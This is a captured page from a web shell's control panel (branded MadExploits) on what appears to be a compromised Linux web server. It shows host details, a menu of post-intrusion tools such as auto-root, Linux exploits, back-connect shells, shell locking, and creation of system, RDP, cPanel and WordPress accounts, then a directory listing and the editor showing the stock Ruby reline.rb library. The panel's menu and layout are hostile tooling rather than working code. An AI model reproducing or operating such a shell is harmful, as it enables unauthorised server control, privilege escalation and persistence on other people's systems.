Linux ip-172-26-2-223 5.4.0-1018-aws #18-Ubuntu SMP Wed Jun 24 01:15:00 UTC 2020 x86_64
Apache
: 172.26.2.223 | : 3.15.22.202
Cant Read [ /etc/named.conf ]
8.1.13
www
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
lib /
ruby /
2.7.0 /
[ HOME SHELL ]
Name
Size
Permission
Action
benchmark
[ DIR ]
drwxr-xr-x
bigdecimal
[ DIR ]
drwxr-xr-x
bundler
[ DIR ]
drwxr-xr-x
cgi
[ DIR ]
drwxr-xr-x
csv
[ DIR ]
drwxr-xr-x
delegate
[ DIR ]
drwxr-xr-x
did_you_mean
[ DIR ]
drwxr-xr-x
digest
[ DIR ]
drwxr-xr-x
drb
[ DIR ]
drwxr-xr-x
fiddle
[ DIR ]
drwxr-xr-x
forwardable
[ DIR ]
drwxr-xr-x
getoptlong
[ DIR ]
drwxr-xr-x
io
[ DIR ]
drwxr-xr-x
irb
[ DIR ]
drwxr-xr-x
json
[ DIR ]
drwxr-xr-x
logger
[ DIR ]
drwxr-xr-x
matrix
[ DIR ]
drwxr-xr-x
net
[ DIR ]
drwxr-xr-x
observer
[ DIR ]
drwxr-xr-x
open3
[ DIR ]
drwxr-xr-x
openssl
[ DIR ]
drwxr-xr-x
optparse
[ DIR ]
drwxr-xr-x
ostruct
[ DIR ]
drwxr-xr-x
pstore
[ DIR ]
drwxr-xr-x
psych
[ DIR ]
drwxr-xr-x
racc
[ DIR ]
drwxr-xr-x
rdoc
[ DIR ]
drwxr-xr-x
reline
[ DIR ]
drwxr-xr-x
rexml
[ DIR ]
drwxr-xr-x
rinda
[ DIR ]
drwxr-xr-x
ripper
[ DIR ]
drwxr-xr-x
rss
[ DIR ]
drwxr-xr-x
rubygems
[ DIR ]
drwxr-xr-x
singleton
[ DIR ]
drwxr-xr-x
syslog
[ DIR ]
drwxr-xr-x
timeout
[ DIR ]
drwxr-xr-x
tracer
[ DIR ]
drwxr-xr-x
unicode_normalize
[ DIR ]
drwxr-xr-x
uri
[ DIR ]
drwxr-xr-x
webrick
[ DIR ]
drwxr-xr-x
yaml
[ DIR ]
drwxr-xr-x
English.rb
6.11
KB
-rw-r--r--
abbrev.rb
3.45
KB
-rw-r--r--
base64.rb
3.3
KB
-rw-r--r--
benchmark.rb
18.02
KB
-rw-r--r--
bigdecimal.rb
24
B
-rw-r--r--
bundler.rb
23.16
KB
-rw-r--r--
cgi.rb
9.8
KB
-rw-r--r--
coverage.rb
368
B
-rw-r--r--
csv.rb
54.34
KB
-rw-r--r--
date.rb
1.01
KB
-rw-r--r--
debug.rb
29.91
KB
-rw-r--r--
delegate.rb
10.86
KB
-rw-r--r--
did_you_mean.rb
3.72
KB
-rw-r--r--
digest.rb
2.83
KB
-rw-r--r--
drb.rb
50
B
-rw-r--r--
erb.rb
28.81
KB
-rw-r--r--
expect.rb
2.17
KB
-rw-r--r--
fiddle.rb
1.68
KB
-rw-r--r--
fileutils.rb
48.01
KB
-rw-r--r--
find.rb
2.47
KB
-rw-r--r--
forwardable.rb
8.92
KB
-rw-r--r--
getoptlong.rb
15.42
KB
-rw-r--r--
ipaddr.rb
19.52
KB
-rw-r--r--
irb.rb
25.21
KB
-rw-r--r--
json.rb
1.77
KB
-rw-r--r--
kconv.rb
5.72
KB
-rw-r--r--
logger.rb
16.4
KB
-rw-r--r--
matrix.rb
60.26
KB
-rw-r--r--
mkmf.rb
86.23
KB
-rw-r--r--
monitor.rb
6.76
KB
-rw-r--r--
mutex_m.rb
2.16
KB
-rw-r--r--
observer.rb
5.83
KB
-rw-r--r--
open-uri.rb
25.48
KB
-rw-r--r--
open3.rb
21.81
KB
-rw-r--r--
openssl.rb
469
B
-rw-r--r--
optionparser.rb
59
B
-rw-r--r--
optparse.rb
59.49
KB
-rw-r--r--
ostruct.rb
10.53
KB
-rw-r--r--
pathname.rb
16.17
KB
-rw-r--r--
pp.rb
15.42
KB
-rw-r--r--
prettyprint.rb
15.89
KB
-rw-r--r--
prime.rb
12.37
KB
-rw-r--r--
pstore.rb
14.71
KB
-rw-r--r--
psych.rb
21.99
KB
-rw-r--r--
racc.rb
137
B
-rw-r--r--
rdoc.rb
4.88
KB
-rw-r--r--
readline.rb
113
B
-rw-r--r--
reline.rb
12.53
KB
-rw-r--r--
resolv-replace.rb
1.76
KB
-rw-r--r--
resolv.rb
73.5
KB
-rw-r--r--
ripper.rb
2.44
KB
-rw-r--r--
rss.rb
2.89
KB
-rw-r--r--
rubygems.rb
36.62
KB
-rw-r--r--
securerandom.rb
9.3
KB
-rw-r--r--
set.rb
23.92
KB
-rw-r--r--
shellwords.rb
6.66
KB
-rw-r--r--
singleton.rb
4.06
KB
-rw-r--r--
socket.rb
43.65
KB
-rw-r--r--
tempfile.rb
10.95
KB
-rw-r--r--
time.rb
24.01
KB
-rw-r--r--
timeout.rb
3.98
KB
-rw-r--r--
tmpdir.rb
4.11
KB
-rw-r--r--
tracer.rb
6.48
KB
-rw-r--r--
tsort.rb
14.3
KB
-rw-r--r--
un.rb
9.96
KB
-rw-r--r--
uri.rb
2.97
KB
-rw-r--r--
weakref.rb
1.44
KB
-rw-r--r--
webrick.rb
6.73
KB
-rw-r--r--
yaml.rb
1.8
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : reline.rb
require 'io/console' require 'timeout' require 'forwardable' require 'reline/version' require 'reline/config' require 'reline/key_actor' require 'reline/key_stroke' require 'reline/line_editor' require 'reline/history' module Reline FILENAME_COMPLETION_PROC = nil USERNAME_COMPLETION_PROC = nil Key = Struct.new('Key', :char, :combined_char, :with_meta) CursorPos = Struct.new(:x, :y) class Core ATTR_READER_NAMES = %i( completion_append_character basic_word_break_characters completer_word_break_characters basic_quote_characters completer_quote_characters filename_quote_characters special_prefixes completion_proc output_modifier_proc prompt_proc auto_indent_proc pre_input_hook dig_perfect_match_proc ).each(&method(:attr_reader)) attr_accessor :config attr_accessor :key_stroke attr_accessor :line_editor attr_accessor :ambiguous_width attr_accessor :last_incremental_search attr_reader :output def initialize self.output = STDOUT yield self @completion_quote_character = nil end def completion_append_character=(val) if val.nil? @completion_append_character = nil elsif val.size == 1 @completion_append_character = val.encode(Encoding::default_external) elsif val.size > 1 @completion_append_character = val[0].encode(Encoding::default_external) else @completion_append_character = nil end end def basic_word_break_characters=(v) @basic_word_break_characters = v.encode(Encoding::default_external) end def completer_word_break_characters=(v) @completer_word_break_characters = v.encode(Encoding::default_external) end def basic_quote_characters=(v) @basic_quote_characters = v.encode(Encoding::default_external) end def completer_quote_characters=(v) @completer_quote_characters = v.encode(Encoding::default_external) end def filename_quote_characters=(v) @filename_quote_characters = v.encode(Encoding::default_external) end def special_prefixes=(v) @special_prefixes = v.encode(Encoding::default_external) end def completion_case_fold=(v) @config.completion_ignore_case = v end def completion_case_fold @config.completion_ignore_case end def completion_quote_character @completion_quote_character end def completion_proc=(p) raise ArgumentError unless p.respond_to?(:call) @completion_proc = p end def output_modifier_proc=(p) raise ArgumentError unless p.respond_to?(:call) @output_modifier_proc = p end def prompt_proc=(p) raise ArgumentError unless p.respond_to?(:call) @prompt_proc = p end def auto_indent_proc=(p) raise ArgumentError unless p.respond_to?(:call) @auto_indent_proc = p end def pre_input_hook=(p) @pre_input_hook = p end def dig_perfect_match_proc=(p) raise ArgumentError unless p.respond_to?(:call) @dig_perfect_match_proc = p end def input=(val) raise TypeError unless val.respond_to?(:getc) or val.nil? if val.respond_to?(:getc) if defined?(Reline::ANSI) and Reline::IOGate == Reline::ANSI Reline::ANSI.input = val elsif Reline::IOGate == Reline::GeneralIO Reline::GeneralIO.input = val end end end def output=(val) raise TypeError unless val.respond_to?(:write) or val.nil? @output = val if defined?(Reline::ANSI) and Reline::IOGate == Reline::ANSI Reline::ANSI.output = val end end def vi_editing_mode config.editing_mode = :vi_insert nil end def emacs_editing_mode config.editing_mode = :emacs nil end def vi_editing_mode? config.editing_mode_is?(:vi_insert, :vi_command) end def emacs_editing_mode? config.editing_mode_is?(:emacs) end def get_screen_size Reline::IOGate.get_screen_size end def readmultiline(prompt = '', add_hist = false, &confirm_multiline_termination) unless confirm_multiline_termination raise ArgumentError.new('#readmultiline needs block to confirm multiline termination') end inner_readline(prompt, add_hist, true, &confirm_multiline_termination) whole_buffer = line_editor.whole_buffer.dup whole_buffer.taint if RUBY_VERSION < '2.7' if add_hist and whole_buffer and whole_buffer.chomp.size > 0 Reline::HISTORY << whole_buffer end line_editor.reset_line if line_editor.whole_buffer.nil? whole_buffer end def readline(prompt = '', add_hist = false) inner_readline(prompt, add_hist, false) line = line_editor.line.dup line.taint if RUBY_VERSION < '2.7' if add_hist and line and line.chomp.size > 0 Reline::HISTORY << line.chomp end line_editor.reset_line if line_editor.line.nil? line end private def inner_readline(prompt, add_hist, multiline, &confirm_multiline_termination) if ENV['RELINE_STDERR_TTY'] $stderr.reopen(ENV['RELINE_STDERR_TTY'], 'w') $stderr.sync = true $stderr.puts "Reline is used by #{Process.pid}" end otio = Reline::IOGate.prep may_req_ambiguous_char_width line_editor.reset(prompt) if multiline line_editor.multiline_on if block_given? line_editor.confirm_multiline_termination_proc = confirm_multiline_termination end else line_editor.multiline_off end line_editor.output = output line_editor.completion_proc = completion_proc line_editor.completion_append_character = completion_append_character line_editor.output_modifier_proc = output_modifier_proc line_editor.prompt_proc = prompt_proc line_editor.auto_indent_proc = auto_indent_proc line_editor.dig_perfect_match_proc = dig_perfect_match_proc line_editor.pre_input_hook = pre_input_hook line_editor.rerender unless config.test_mode config.read config.reset_default_key_bindings Reline::IOGate::RAW_KEYSTROKE_CONFIG.each_pair do |key, func| config.add_default_key_binding(key, func) end end begin loop do read_io(config.keyseq_timeout) { |inputs| inputs.each { |c| line_editor.input_key(c) line_editor.rerender } } break if line_editor.finished? end Reline::IOGate.move_cursor_column(0) rescue StandardError => e line_editor.finalize Reline::IOGate.deprep(otio) raise e end line_editor.finalize Reline::IOGate.deprep(otio) end # Keystrokes of GNU Readline will timeout it with the specification of # "keyseq-timeout" when waiting for the 2nd character after the 1st one. # If the 2nd character comes after 1st ESC without timeout it has a # meta-property of meta-key to discriminate modified key with meta-key # from multibyte characters that come with 8th bit on. # # GNU Readline will wait for the 2nd character with "keyseq-timeout" # milli-seconds but wait forever after 3rd characters. private def read_io(keyseq_timeout, &block) buffer = [] loop do c = Reline::IOGate.getc buffer << c result = key_stroke.match_status(buffer) case result when :matched expanded = key_stroke.expand(buffer).map{ |expanded_c| Reline::Key.new(expanded_c, expanded_c, false) } block.(expanded) break when :matching if buffer.size == 1 begin succ_c = nil Timeout.timeout(keyseq_timeout / 1000.0) { succ_c = Reline::IOGate.getc } rescue Timeout::Error # cancel matching only when first byte block.([Reline::Key.new(c, c, false)]) break else if key_stroke.match_status(buffer.dup.push(succ_c)) == :unmatched if c == "\e".ord block.([Reline::Key.new(succ_c, succ_c | 0b10000000, true)]) else block.([Reline::Key.new(c, c, false), Reline::Key.new(succ_c, succ_c, false)]) end break else Reline::IOGate.ungetc(succ_c) end end end when :unmatched if buffer.size == 1 and c == "\e".ord read_escaped_key(keyseq_timeout, c, block) else expanded = buffer.map{ |expanded_c| Reline::Key.new(expanded_c, expanded_c, false) } block.(expanded) end break end end end private def read_escaped_key(keyseq_timeout, c, block) begin escaped_c = nil Timeout.timeout(keyseq_timeout / 1000.0) { escaped_c = Reline::IOGate.getc } rescue Timeout::Error # independent ESC block.([Reline::Key.new(c, c, false)]) else if escaped_c.nil? block.([Reline::Key.new(c, c, false)]) elsif escaped_c >= 128 # maybe, first byte of multi byte block.([Reline::Key.new(c, c, false), Reline::Key.new(escaped_c, escaped_c, false)]) elsif escaped_c == "\e".ord # escape twice block.([Reline::Key.new(c, c, false), Reline::Key.new(c, c, false)]) else block.([Reline::Key.new(escaped_c, escaped_c | 0b10000000, true)]) end end end private def may_req_ambiguous_char_width @ambiguous_width = 2 if Reline::IOGate == Reline::GeneralIO or STDOUT.is_a?(File) return if ambiguous_width Reline::IOGate.move_cursor_column(0) print "\u{25bd}" @ambiguous_width = Reline::IOGate.cursor_pos.x Reline::IOGate.move_cursor_column(0) Reline::IOGate.erase_after_cursor end end extend Forwardable extend SingleForwardable #-------------------------------------------------------- # Documented API #-------------------------------------------------------- (Core::ATTR_READER_NAMES).each { |name| def_single_delegators :core, "#{name}", "#{name}=" } def_single_delegators :core, :input=, :output= def_single_delegators :core, :vi_editing_mode, :emacs_editing_mode def_single_delegators :core, :readline def_single_delegators :core, :completion_case_fold, :completion_case_fold= def_single_delegators :core, :completion_quote_character def_instance_delegators self, :readline private :readline #-------------------------------------------------------- # Undocumented API #-------------------------------------------------------- # Testable in original def_single_delegators :core, :get_screen_size def_single_delegators :line_editor, :eof? def_instance_delegators self, :eof? def_single_delegators :line_editor, :delete_text def_single_delegator :line_editor, :line, :line_buffer def_single_delegator :line_editor, :byte_pointer, :point def_single_delegator :line_editor, :byte_pointer=, :point= def self.insert_text(*args, &block) line_editor.insert_text(*args, &block) self end # Untestable in original def_single_delegator :line_editor, :rerender, :redisplay def_single_delegators :core, :vi_editing_mode?, :emacs_editing_mode? def_single_delegators :core, :ambiguous_width def_single_delegators :core, :last_incremental_search def_single_delegators :core, :last_incremental_search= def_single_delegators :core, :readmultiline def_instance_delegators self, :readmultiline private :readmultiline def self.core @core ||= Core.new { |core| core.config = Reline::Config.new core.key_stroke = Reline::KeyStroke.new(core.config) core.line_editor = Reline::LineEditor.new(core.config) core.basic_word_break_characters = " \t\n`><=;|&{(" core.completer_word_break_characters = " \t\n`><=;|&{(" core.basic_quote_characters = '"\'' core.completer_quote_characters = '"\'' core.filename_quote_characters = "" core.special_prefixes = "" } end def self.line_editor core.line_editor end HISTORY = History.new(core.config) end if RbConfig::CONFIG['host_os'] =~ /mswin|msys|mingw|cygwin|bccwin|wince|emc/ require 'reline/windows' if Reline::Windows.get_screen_size == [0, 0] # Maybe Mintty on Cygwin require 'reline/ansi' Reline::IOGate = Reline::ANSI else Reline::IOGate = Reline::Windows end else require 'reline/ansi' Reline::IOGate = Reline::ANSI end require 'reline/general_io'
Close